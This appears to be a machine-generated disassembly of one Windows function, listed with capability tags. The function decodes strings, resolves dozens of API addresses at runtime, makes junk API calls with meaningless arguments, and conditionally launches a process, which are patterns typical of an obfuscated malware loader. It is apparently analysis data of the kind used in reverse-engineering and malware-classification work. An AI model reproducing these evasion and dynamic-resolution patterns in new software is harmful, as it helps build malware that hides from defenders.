Function at 0x4618c8
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x1a
push 0
push 0
dec ecx
jne 0x4618d0
push ebx
push esi
xor eax, eax
push ebp
push 0x4620fd
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.004589b0
test al, al
je 0x4620df
mov esi, fcn.00463070
mov ebx, sub.kernel32.dll_GetModuleHandleA_3
lea edx, [ebp - 4]
mov eax, 0x462114
call fcn.0045dc70
mov eax, dword [ebp - 4]
call fcn.00404db0
push eax
call ebx
mov ebx, eax
lea edx, [ebp - 8]
mov eax, 0x462134
call fcn.0045dc70
mov eax, dword [ebp - 8]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x467080], eax
lea edx, [ebp - 0xc]
mov eax, 0x462150
call fcn.0045dc70
mov eax, dword [ebp - 0xc]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x467138], eax
lea edx, [ebp - 0x10]
mov eax, 0x462174
call fcn.0045dc70
mov eax, dword [ebp - 0x10]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x46713c], eax
lea edx, [ebp - 0x14]
mov eax, 0x462194
call fcn.0045dc70
mov eax, dword [ebp - 0x14]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x467140], eax
lea edx, [ebp - 0x18]
mov eax, 0x4621b8
call fcn.0045dc70
mov eax, dword [ebp - 0x18]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x467144], eax
lea edx, [ebp - 0x1c]
mov eax, 0x4621d0
call fcn.0045dc70
mov eax, dword [ebp - 0x1c]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x467148], eax
lea edx, [ebp - 0x20]
mov eax, 0x4621ec
call fcn.0045dc70
mov eax, dword [ebp - 0x20]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x46714c], eax
lea edx, [ebp - 0x24]
mov eax, 0x462214
call fcn.0045dc70
mov eax, dword [ebp - 0x24]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x467150], eax
lea edx, [ebp - 0x28]
mov eax, 0x462238
call fcn.0045dc70
mov eax, dword [ebp - 0x28]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x4670ac], eax
lea edx, [ebp - 0x2c]
mov eax, 0x462254
call fcn.0045dc70
mov eax, dword [ebp - 0x2c]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x467088], eax
lea edx, [ebp - 0x30]
mov eax, 0x462270
call fcn.0045dc70
mov eax, dword [ebp - 0x30]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x4670a4], eax
lea edx, [ebp - 0x34]
mov eax, 0x46228c
call fcn.0045dc70
mov eax, dword [ebp - 0x34]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x46708c], eax
lea edx, [ebp - 0x38]
mov eax, 0x4622a0
call fcn.0045dc70
mov eax, dword [ebp - 0x38]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x4670a8], eax
lea edx, [ebp - 0x3c]
mov eax, 0x4622bc
call fcn.0045dc70
mov eax, dword [ebp - 0x3c]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x467084], eax
lea edx, [ebp - 0x40]
mov eax, 0x4622dc
call fcn.0045dc70
mov eax, dword [ebp - 0x40]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x4670e8], eax
lea edx, [ebp - 0x44]
mov eax, 0x4622f4
call fcn.0045dc70
mov eax, dword [ebp - 0x44]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x4670ec], eax
lea edx, [ebp - 0x48]
mov eax, 0x46230c
call fcn.0045dc70
mov eax, dword [ebp - 0x48]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x4670c0], eax
lea edx, [ebp - 0x4c]
mov eax, 0x46232c
call fcn.0045dc70
mov eax, dword [ebp - 0x4c]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x4670c4], eax
lea edx, [ebp - 0x50]
mov eax, 0x46234c
call fcn.0045dc70
mov eax, dword [ebp - 0x50]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x4670c8], eax
lea edx, [ebp - 0x54]
mov eax, 0x462368
call fcn.0045dc70
mov eax, dword [ebp - 0x54]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x46709c], eax
lea edx, [ebp - 0x58]
mov eax, 0x462380
call fcn.0045dc70
mov eax, dword [ebp - 0x58]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x4670f4], eax
lea edx, [ebp - 0x5c]
mov eax, 0x46239c
call fcn.0045dc70
mov eax, dword [ebp - 0x5c]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x4670f0], eax
lea edx, [ebp - 0x60]
mov eax, 0x4623b8
call fcn.0045dc70
mov eax, dword [ebp - 0x60]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x4670b8], eax
lea edx, [ebp - 0x64]
mov eax, 0x4623d0
call fcn.0045dc70
mov eax, dword [ebp - 0x64]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x4670b4], eax
mov eax, 3
call fcn.004030e4
cmp eax, 0x1f
jne 0x461db5
fld xword [0x4623e4]
call fcn.00402b88
fcomp dword [0x4623f0]
fnstsw ax
sahf
jne 0x461c31
lea ecx, [ebp - 0x68]
mov edx, 4
mov al, 0x6c
call fcn.00404fa0
cmp dword [ebp - 0x68], 0
je 0x461c31
push 0xb
push 0x51
push 0x13
call sub.kernel32.dll_GetAtomNameW
call sub.kernel32.dll_GetCommMask
test al, al
jne 0x4620df
mov edx, 0x4623fc
mov eax, 0x46240c
call fcn.00404ef4
cmp eax, 0x15
je 0x461c5b
push 0x27
push 0x16
call sub.kernel32.dll_SetFileApisToOEM
fld xword [0x462414]
fldln2
fxch st(1)
fyl2x
fcomp dword [0x462420]
fnstsw ax
sahf
jne 0x461c8c
push 0
push 0x3cf
call fcn.00406974
add esp, 8
fcomp dword [0x462424]
fnstsw ax
sahf
jne 0x461ca0
push 0x462430
push 0x462448
push 0x462460
call sub.kernel32.dll_ReadConsoleInputW
call sub.kernel32.dll_PeekConsoleInputA
push 0x50
push 0x1a
push 0x23
call sub.kernel32.dll_GetThreadSelectorEntry
push 3
call sub.kernel32.dll_GetEnvironmentStringsA
call sub.kernel32.dll_GetCompressedFileSizeA
test al, al
jne 0x4620df
push 0x462474
push 0x462488
push 0x46249c
call sub.user32.dll_GetNextDlgGroupItem
lea ecx, [ebp - 0x6c]
mov edx, 4
mov al, 0x6a
call fcn.00404fa0
mov eax, dword [ebp - 0x6c]
mov edx, 0x4624b0
call fcn.00404cfc
je 0x461d1d
lea eax, [ebp - 0x70]
push eax
mov ecx, 9
mov edx, 1
mov eax, 0x4624bc
call fcn.00404e10
mov eax, dword [ebp - 0x70]
mov edx, 0x4624d0
call fcn.00404cfc
jne 0x461d3e
fld xword [0x4624dc]
call fcn.00402b98
call fcn.00402bc4
cmp edx, 0
jne 0x461d37
cmp eax, 0x47d
je 0x461d3e
call sub.kernel32.dll_CreateProcessW
push 6
call sub.kernel32.dll_SetCommTimeouts
test al, al
jne 0x4620df
call sub.kernel32.dll_SetCommConfig
push 4
push 1
call sub.kernel32.dll_OpenFileMappingW
push 7
push 6
push 0x5f
call sub.kernel32.dll_SearchPathA
push 0x4b
call sub.user32.dll_RegisterDeviceNotificationW
call sub.kernel32.dll_ReadConsoleOutputAttribute
test al, al
jne 0x4620df
lea ecx, [ebp - 0x74]
mov edx, 0xc
mov al, 0x6c
call fcn.00404fa0
mov eax, dword [ebp - 0x74]
mov edx, 0x4624f0
call fcn.00404cfc
je 0x461da3
push 0x38
push 0x31
push 0x48
call sub.user32.dll_CallNextHookEx_1
push 0x2e
push 0x5a
call sub.user32.dll_GetClipboardOwner
push 0x47
push 9
call sub.kernel32.dll_FatalExit
lea edx, [ebp - 0x78]
mov eax, 0x4624fc
call fcn.0045dc70
mov eax, dword [ebp - 0x78]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x4670a0], eax
lea edx, [ebp - 0x7c]
mov eax, 0x462518
call fcn.0045dc70
mov eax, dword [ebp - 0x7c]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x467098], eax
lea edx, [ebp - 0x80]
mov eax, 0x462530
call fcn.0045dc70
mov eax, dword [ebp - 0x80]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x4670b0], eax
lea edx, [ebp - 0x84]
mov eax, 0x462554
call fcn.0045dc70
mov eax, dword [ebp - 0x84]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x4670cc], eax
lea edx, [ebp - 0x88]
mov eax, 0x462574
call fcn.0045dc70
mov eax, dword [ebp - 0x88]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x467090], eax
lea edx, [ebp - 0x8c]
mov eax, 0x462598
call fcn.0045dc70
mov eax, dword [ebp - 0x8c]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x4670bc], eax
lea edx, [ebp - 0x90]
mov eax, 0x4625b4
call fcn.0045dc70
mov eax, dword [ebp - 0x90]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x4670e4], eax
lea edx, [ebp - 0x94]
mov eax, 0x4625d8
call fcn.0045dc70
mov eax, dword [ebp - 0x94]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x4670e0], eax
lea edx, [ebp - 0x98]
mov eax, 0x4625f8
call fcn.0045dc70
mov eax, dword [ebp - 0x98]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x4670f8], eax
lea edx, [ebp - 0x9c]
mov eax, 0x462618
call fcn.0045dc70
mov eax, dword [ebp - 0x9c]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x4670d4], eax
lea edx, [ebp - 0xa0]
mov eax, 0x46263c
call fcn.0045dc70
mov eax, dword [ebp - 0xa0]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x4670fc], eax
lea edx, [ebp - 0xa4]
mov eax, 0x46265c
call fcn.0045dc70
mov eax, dword [ebp - 0xa4]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x4670dc], eax
lea edx, [ebp - 0xa8]
mov eax, 0x462684
call fcn.0045dc70
mov eax, dword [ebp - 0xa8]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x467094], eax
lea edx, [ebp - 0xac]
mov eax, 0x4626a4
call fcn.0045dc70
mov eax, dword [ebp - 0xac]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x467154], eax
lea edx, [ebp - 0xb0]
mov eax, 0x4626c0
call fcn.0045dc70
mov eax, dword [ebp - 0xb0]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x467158], eax
lea edx, [ebp - 0xb4]
mov eax, 0x4626d8
call fcn.0045dc70
mov eax, dword [ebp - 0xb4]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x46715c], eax
lea edx, [ebp - 0xb8]
mov eax, 0x4626f0
call fcn.0045dc70
mov eax, dword [ebp - 0xb8]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x467160], eax
lea edx, [ebp - 0xbc]
mov eax, 0x46270c
call fcn.0045dc70
mov eax, dword [ebp - 0xbc]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x467168], eax
lea edx, [ebp - 0xc0]
mov eax, 0x462724
call fcn.0045dc70
mov eax, dword [ebp - 0xc0]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x467100], eax
lea edx, [ebp - 0xc4]
mov eax, 0x462744
call fcn.0045dc70
mov eax, dword [ebp - 0xc4]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x467104], eax
lea edx, [ebp - 0xc8]
mov eax, 0x46276c
call fcn.0045dc70
mov eax, dword [ebp - 0xc8]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x467108], eax
lea edx, [ebp - 0xcc]
mov eax, 0x46278c
call fcn.0045dc70
mov eax, dword [ebp - 0xcc]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x46710c], eax
lea edx, [ebp - 0xd0]
mov eax, 0x4627a4
call fcn.0045dc70
mov eax, dword [ebp - 0xd0]
call fcn.00404db0
push eax
push ebx
call esi
mov dword [0x467110], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x462104
lea eax, [ebp - 0xd0]
mov edx, 0x34
call fcn.00404924
ret